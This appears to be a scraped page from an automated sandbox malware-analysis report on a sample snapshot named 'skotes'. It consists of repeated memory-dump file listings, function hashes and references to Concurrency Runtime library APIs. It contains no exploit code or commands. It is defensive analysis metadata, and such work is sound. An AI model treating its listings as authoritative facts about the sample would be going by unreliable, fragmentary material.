Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 1e0835ab8fcecbb52f7b5a2c979987a8aa4ac62848b065cb7502274079e21b63
Instruction ID: 99cfbb3e85cc9785e3fc82651671fe91d205ca6a43b84f3dc50cb38d928b4eb9
Opcode Fuzzy Hash: 1e0835ab8fcecbb52f7b5a2c979987a8aa4ac62848b065cb7502274079e21b63
Instruction Fuzzy Hash: 12B09232A2B83047CA512B14BC885AD77589A81A1130B4156DA11AB2248A511D82ABE8

Function 009ADD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b318caa66ead3672f30eac209272a4ed3e7ec3f9adf1d23840a6b564eed9f4d
Instruction ID: 0391614ebb12dead7a6abfecdef272f2289c8cd0571a30c3eb3101d0ce744d34
Opcode Fuzzy Hash: 2b318caa66ead3672f30eac209272a4ed3e7ec3f9adf1d23840a6b564eed9f4d
Instruction Fuzzy Hash: 0751BDB2A26606CFDB15CF58D8817AEB7F5FB48304F25856AC40AEB690D374E940CF90

Function 009C26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 009C26E3

Part of subcall function 009C24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 009C2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 009C2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 009C2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 009C275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 009C27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 009C27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 009C2846

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: ec290bc4917da24182691da9612a3cfa5b646288a96b1887bc1db3a697df11bf
Instruction ID: c57813f17250bc0f2a7836a5f08d20e1f30f884e0cac34834310a15d51bf7c22
Opcode Fuzzy Hash: ec290bc4917da24182691da9612a3cfa5b646288a96b1887bc1db3a697df11bf
Instruction Fuzzy Hash: AB819C34D00249ABDF16DF94CA91FBE7BB6AF46344F0440ACEC412B292C7369D15DB62

Function 009C2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 009C2982

Part of subcall function 009C24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 009C2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 009C29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 009C29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 009C29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 009C2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 009C2AD8

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: d0b7c2ef0869251982cff2a96ae5d5063c90c55e6800054c0f339f3cecfe74ff
Instruction ID: 9a27c1de5c9c9216aaf4a6799708d9eec76f863ed23d5da958bb13b4aeb6d52a
Opcode Fuzzy Hash: d0b7c2ef0869251982cff2a96ae5d5063c90c55e6800054c0f339f3cecfe74ff
Instruction Fuzzy Hash: 1C718A70D00249ABDF15DF54C991FBEBBBAAF86304F04409CEC416B292C7319D15DB62

Function 009B2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 009B2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009B28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009B2913

Part of subcall function 009B07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 009B080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 009B2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009B29DB

Part of subcall function 009B07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009B07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009B29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009B2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 009B2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 009B2A7E

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 359b405a9751d850deebfab88f2e69639b9d39711ceb97183139ec5997aad49d
Instruction ID: 99d974f583a5e7b9ce8a4e31059dcd0c22e0bfca80d823adf61340b7a6165951
Opcode Fuzzy Hash: 359b405a9751d850deebfab88f2e69639b9d39711ceb97183139ec5997aad49d
Instruction Fuzzy Hash: 78811331A146169FCB18DFA8DA906FEBBF5FF88321B25402DD549E7290DB34AD41CB90

Function 009B69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 009B6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 009B6A51
List.LIBCONCRT ref: 009B6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 009B6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 009B6AB9
List.LIBCONCRT ref: 009B6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 009B6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 009B6B20
List.LIBCONCRT ref: 009B6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 009B6B68

Part of subcall function 009B5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 009B5EF7
Part of subcall function 009B5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 009B5F09

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
